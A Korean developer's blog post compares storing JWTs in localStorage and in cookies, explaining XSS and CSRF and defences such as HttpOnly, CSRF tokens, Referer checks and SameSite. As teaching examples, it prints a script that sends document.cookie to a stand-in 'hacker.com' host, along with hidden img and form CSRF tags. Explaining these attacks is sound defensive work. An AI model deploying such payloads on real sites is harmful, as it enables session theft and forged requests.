모르는게 많은 개발자

JWT 저장소에 대한 고민(feat. XSS, CSRF) 본문

알아가는 개발

JWT 저장소에 대한 고민(feat. XSS, CSRF)

Awdsd 2021. 4. 22. 15:41
반응형

최근 REST API 서버를 구현하며 Spring Security로 JWT 인증을 구현했다. Access_Token, Refresh_Token을 어디다 저장할지에 대해 고민하다 CSRF에 대한 긍금증까지 생기게 되어 공부를 했다. 이번 포스팅은 JWT에 저장소에 대한 고민하면서 공부한 내용들을 정리한 글이다.


1. JWT 발급 프로세스

먼저 기존에 필자가 구현한 JWT 발급 프로세스를 간단히 살펴보자.

  1. 로그인 요청시 인증 서버에서 accessToken, refreshToken을 발급해 Header를 통해 전달
  2. API요청시 accessToken을 Header에 넣고 요청
  3. 만약 accessToken이 만료일 경우 인증 서버로 refreshToken을 전달해 재발급 받는다.

여기서 accessToken과 refreshToken은 localStorage에 저장된다. 여기서 고민이 생겼다. 토큰을 localStorage에 저장해도 될까?


2. JWT 저장할 때 고려할 점

최근 이 고민때문에 수많은 Stack Overflow와 블로그글을 살펴봤다. 많은 글을 보면서 다들 공통적으로 고민하는 부분이 있다는 것을 알았다. 바로 XSS공격과 CSRF공격이다.

XSS(Cross Site Scripting)

XSS

XSS는 보안이 취약한 웹사이트에 악의적인 스크립트를 넣어놓고 사용자가 이 스크립트를 읽게끔 유도하여 유저의 정보를 빼오는 공격 기법이다.

보통 웹사이트 게시글에 악의적인 스크립트를 넣어 유저가 게시글에 들어가게끔 유도하게 하여 공격한다.

 

예를 들어 게시글에 아래와 같은 태그를 넣고 누르게끔 유도하면 javascript가 실행되는데 저게 alert()명령이 실행된다.

<a href="javascript:alert('hello world')">클릭해보세요</a>

이런식으로도 공격당할 수 있다.

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

위의 스크립트를 실행하게 되면 사용자가 가지고 있는 쿠키 또는 LocalStorage 값을 해커의 서버로 전송할 수 있게된다. 즉 JWT도 이러한 방식으로 탈취될 수 있다는 것이다.

CSRF(Cross-site request forgery)

CSRF

XSS는 사용자가 악의적인 스크립트를 실행하여 사용자의 정보를 탈취하는 공격 즉 사용자를 대상으로한 공격이다.

 

CSRF는 사용자 의지와는 상관없이 해커가 의도한 행위(수정, 삭제, 등록 등)를 사용자 권한을 이용해 서버에 요청을 보내는 공격을 의미한다.

 

예를 들어 사용자가 A사이트(http://user.com)에 로그인이하여 Cookie를 가지고 있다고 하자.

이 상태에서 해커가 사용자에게 악의적인 사이트에 들어오도록 유도한다.(스팸 메일 등) 악의적인 사이트에는 A사이트에 생성, 수정, 삭제등의 요청을 보내는 스크립트가 들어있다.

<img src="http://user.com/get" width="0" height="0" />

<!--또는-->

<form action="http://user.com/delete" method="post"> 
  <input type="hidden" name="body" value="추천인을 써주세요" />
  <input type="submit" value="전송"/>
</form>

위의 태그 img, form태그를 이용해서 사용자가 의도치 않게 A사이트에 요청을 보내게되면 사용자가 로그인했을 때 생긴 Cookie가 같이 전송되는 것이다.(브라우저에서 A사이트에서 받은 Cookie를 자동으로 서버로 전송한다.)

그렇게 되면 사용자는 의도치 않게 (생성, 수정, 삭제) 요청을 보내게된다.


3. 그럼 어쩌라는걸까?

위의 내용으로 봤을 때 LocalStorage, Cookie 둘다 취약점이 존재하는데 어디에 저장해야한다는 걸까? 여기서 이제 많은 글을 찾아봤다. LocalStorage와 Cookie에 저장했을 때 각각의 특징을 보자.

 

LocalStorage

위에서 말했듯이 LocalStorage로 저장했을 경우 XSS 공격에 취약하다.(JS를 통해 LocalStorage에 접근할 수 있기때문)

function saveLocalStorage() {
  localStorage.setItem("Test", "Test")
}

하지만 LocalStorage에 저장하면 CSRF공격에는 방어가 된다. 왜냐하면 CSRF는 기본적으로 브라우저에서 자동으로 보내주는 Cookie를 통해 공격이 이루어지기 때문이다.

 

Cookie에 JWT를 저장할 경우

Cookie도 LocalStorage랑 마찬가지로 XSS에 탈취당할 가능성이있다.

하지만 Cookie에는 HttpOnly라는 옵션이 존재하는데 이 옵션을 지정하면 Script에서 Cookie를 읽어올 수 없게한다. 이로인해 악의적인 Script에서 Cookie를 가져올 수 없기 때문에 XSS공격에 방어가 된다.

 

결국 CSRF에는 아직 취약한데 여기서 하나의 방법이 JWT Token을 Cookie가 아닌 Header에 넣고 요청을 보내는 것이다. 이럴 경우 CSRF공격을 통해 쿠키가 전달되도 서버에서는 Cookie값을 사용하지 않기 때문에 CSRF를 통한 공격을 방어할 수 있다.

하!지!만! Header에 Cookie를 넣기 위해서는 JS에서 요청 보낼 때 Cookie를 Header에 넣기 때문에 HttpOnly 옵션을 해제해야한다...

 

그래서?

하지만 많은 글을 찾아보면서 결국 저장 장소로는 LocalStorage보다는 Cookie에 저장하는 것이 더 선호되는 편인것 같았다.

그 이유로는 결국 XSS공격을 HttpOnly 옵션을 통해 방어할 수 있고 CSRF 방어같은 경우에는 아래와 같은 보편적인 방법이 있다.

Csrf Token
임의의 난수(Csrf Token)를 생성해 서버 메모리(세션)에 저장하고 클라이언트에 전달한다.
클라이언트는 중요한 요청(생성, 삭제, 수정)을 보낼 때 파라미터로 Csrf Token을 같이 보내 검증을 한다. 이렇게 했을 경우 CSRF 공격을 당해도 CSRF Token은 서버에 전달되지 않으므로 서버는 요청을 수행하지 않게 된다.
Cookie Referer Check
요청을 보내면 요청을 보낸 Domain을 알 수 있는데 이 Domain이 내가 허용한 Domain에서 온 요청인지 체크하면 된다. 일반적으로 Referer Check로만 대부분의 CSRF를 방어할 수 있다.
Cookie SameSite
Cookie의 SameSite 속성은 외부 사이트에 쿠키 전송할 범위를 설정할 수 있다.
속성은 총 3가지가 있다.

1. Strict : Cookie를 전달 할 때 현재 페이지 도메인과 요청받는 도메인이 같아야만 쿠키가 전송

2. Lax : Strict에서 <a href>, <link href>, GET Method 요청을 제외하고 Strict랑 같음(크롬 80버전부터는 SameSite Default값이 Lax로 설정된다)

3. None : 도메인 검증 안함 (대신 secure 옵션이 필수로 붙어야함) SameSite를 사용하기 위해서는 프론트와 백엔드의 도메인을 맞추거나 Nginx 프록시를 사용해서 요청을 해야할 것이다.

결국 이러한 이유때문에 JWT Token은 LocalStorage보단 Cookie에 저장하는 것을 권장된다 생각한다.

 

마지막으로 만약 REST API 서버가 외부에 공개되지 않는 경우에는 SE단계에서 방화벽으로 특정 IP(배포 서버 IP)만 허용을 하면 된다는 생각을 해본다.

반응형

'알아가는 개발' 카테고리의 다른 글

Transaction & InnoDB Lock 개념/예제  (1) 2022.10.20
[NoSql] SpringBoot, Redis 연동 예제  (0) 2020.07.29
[NoSql] Redis 개념/특징  (0) 2020.06.14
Base64 인코딩 개념/과정  (0) 2020.06.13
REST란 무엇일까?  (0) 2020.05.14
Comments